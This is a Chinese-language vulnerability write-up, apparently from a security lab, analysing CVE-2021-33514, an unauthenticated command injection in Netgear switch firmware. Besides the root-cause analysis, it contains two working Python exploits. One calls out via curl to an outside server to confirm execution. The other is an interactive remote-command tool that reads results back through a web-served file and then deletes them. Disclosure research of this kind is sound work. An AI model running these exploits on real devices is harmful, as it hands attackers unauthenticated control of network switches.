CVE-2021-33514：Netgear 多款交换机命令注入漏洞

admin

102755
文章

87
评论

2021年9月2日10:00:55评论127 views字数 4129阅读13分45秒阅读模式

作者：OneShell@知道创宇404实验室
时间：2021年7月21日

漏洞信息

CVE-2021-33514是发生在Netgear多款交换机上的命令注入漏洞，可以未认证远程代码执行，CVSS3：9.8（高危）。

漏洞产生的根本原因是libsal.so.0.0中的函数sal_sys_ssoReturnToken_chk存在命令注入，这个函数用于处理url中的tocken字段，直接将tocken传递到格式化字符串中，然后调用popen执行。后端处理setup.cgi加载了该so文件，并且在处理url的时候调用了该存在漏洞的函数。漏洞利用起来也非常简单，直接给cgi发送构造了命令的请求就可以。

Netgear官方给出的受漏洞影响设备和固件版本如下表：

影响设备	固件版本
GC108P	<=1.0.7.3
GC108PP	<=1.0.7.3
GS108Tv3	<=7.0.6.3
GS110TPP	<=7.0.6.3
GS110TPv3	<=7.0.6.3
GS110TUP	<=1.0.4.3
GS710TUP	<=1.0.4.3
GS716TP	<=1.0.2.3
GS716TPP	<=1.0.2.3
GS724TPP	<=2.0.4.3
GS724TPv2	<=2.0.4.3
GS728TPPv2	<=6.0.6.3
GS728TPv2	<=6.0.6.3
GS752TPPv1	<=6.0.6.3
GS752TPv2	<=6.0.6.3
MS510TXM	<=1.0.2.3
MS510TXUP	<=1.0.2.3

漏洞复现

复现过程仅仅使用了python的requests模块，设备使用的是放置在公网的GS110TPP，固件版本V7.0.1.16，使用的so和cgi程序关键代码差别不大，具有代表性。通过分析交换机固件发现里面常见的可以反弹shell的程序都木有，那验证命令执行就使用了curl，用它去访问我的公网VPS，如果nc检测到访问，说明发生了命令注入。

import requestsvul_url = 'https://X.X.X.X/cgi/setup.cgi?token=';$(cat);''payload = 'curl X.X.X.X.X:8080'try:    res = requests.post(url=vul_url, data=payload, verify=False, timeout=10)    print('[!] should not return any thing')except:    print('[+] success!')

CVE-2021-33514：Netgear 多款交换机命令注入漏洞

漏洞分析

固件提取

首先在Netgear官网上可以下载到存在漏洞的固件，必须赞扬一下Netgear，基本上以往的固件都可以下载到，而且几乎都是没有加密的，这对漏洞分析来说大大的好。下载到固件了按照流程binwalk -Me一把梭，然后使用find就会发现，找不到存在漏洞的so文件也找不到存在调用so的cgi程序。仔细看解压出来可能的文件系统文件夹里面，其实还有modsqfs.img和sqfs.img两个文件，这还得binwalk继续梭了这两个文件，才能有得到存在漏洞的so和cgi。

CVE-2021-33514：Netgear 多款交换机命令注入漏洞

静态分析

流程上还是比较简单的。首先看一下libsal.so里面存在漏洞的函数sal_sys_ssoReturnToken_chk，下面是直接贴出来IDA反编译结果，可以看到直接将函数输入a1，格式化字符串到v25中，然后调用popen执行了v25。

再看看setup.cgi中是如何调用这个函数的，这个地方注意，C语言的或逻辑是，如果前面的判定通过了，后续就不进行判定。第一个判定是检查query_string中是否含有tocken字符串，当我们构造了payload那么判定会失败，则继续执行后面使用逗号连接的C语句，调用漏洞函数。strtok函数用于使用特定字符分割字符串，详情使用可以参考函数说明，最终就把tocken字段的值赋值给v9。

CVE-2021-33514：Netgear 多款交换机命令注入漏洞

关于CGI以及此处payload的写法

CGI如何处理用户请求

之前分析的路由器后端的程序，大多是某某httpd+cgi的做法，当时对于cgi程序如何获取到url传递的参数就仅仅有一个感性的认识：通过环境变量来进行传参，如果是GET请求，那么看环境变量QUERY_STRING，如果是POST请求，可能先从CONTENT_LENGTH获取数据长度，然后从STDIN中读取指定长度的数据。但对于cgi程序是如何执行的，与httpd之间的关系是什么，还是有点迷糊。于是找了一些文章大概看了下。

CGI（Common Gateway Interface）实际上是一种约定，一种接口协议，可以使用c、python、lua、php来实现。WEB服务器会根据CGI的类型决定如何向CGI程序传递数据，一般都是通过标准输入/输出流和环境变量来与CGI程序进行数据传递。例如这个地方的WEB服务器使用的是lighthttpd，通过逆向可以找到有一个函数http_cgi_headers是用来传递给CGI程序的一些环境变量的。

CVE-2021-33514：Netgear 多款交换机命令注入漏洞

如果是使用的POST方式，服务器设定CONTENT_LENGTH环境变量说明POST数据的有效数据字节数，然后CGI通过传递的这个环境变量，从标准输入STDIN中去读取数据。在POC里面，首先token字段值会被注入，然后$(cat)从从标准输入中去读取数据，而此时POST的数据也被传递到了标准输入中，那么就相当于直接执行了POST发出的数据。

payload的另一种写法

如上，是通过环境变量和标准输入传递参数给CGI的，最开始的payload是通过POST请求将数据通过标准输入传递给CGI，而且没有执行结果回显。那么接下来使用GET请求+环境变量+获取执行结果的方式重新来写一次payload。

首先确定将要执行的命令通过哪一个环境变量传入，这个地方选择了User-Agent环境变量，也是经常被使用到的一种方式。其次是决定通过何种方式进行回显，此处是将执行结果写入到/webtmp/文件夹的一个js文件中。由于/webtmp/文件夹和/tmp/是链接起来（固件文件系统中查看）的，因此写入到/webtmp/文件夹，然后使用URL访问/tmp/中的js文件即可。

from requests.api import headimport requestsimport randomimport stringrequests.packages.urllib3.disable_warnings()
proxy = {}
letters = string.ascii_lettersvul_addr = 'https://X.X.X.X'vul_url = vul_addr + '/cgi/setup.cgi?token=';$HTTP_USER_AGENT;''random_str = ''.join(random.choice(letters) for i in range(10))
cmd1 = input('InputCMD: ').replace(' ', '${IFS}')cmd2 = f'rm /tmp/{random_str}.js'.replace(' ', '${IFS}')
payload1 = f'sh -c {cmd1}>/webtmp/{random_str}.js'payload2 = f'sh -c {cmd2}'
header = {}
try:    header['User-Agent'] = payload1    # 注入命令并将结果写入到js文件    res = requests.get(vul_url, headers=header, verify=False,                       timeout=5, allow_redirects=False, proxies=proxy)    if res.status_code == 200:        print('[+] command send success')        result_file = vul_addr + f'/tmp/{random_str}.js'        result = requests.get(result_file, timeout=5,                              verify=False, allow_redirects=False, proxies=proxy) # 读取结果js文件        print('[+] get result')        print(result.text)        print('[+] rm tmp result file')        header['User-Agent'] = payload2        res = requests.get(vul_url, headers=header, verify=False,                           timeout=5, allow_redirects=False, proxies=proxy)    # 删除结果js文件except Exception as e:    print(e)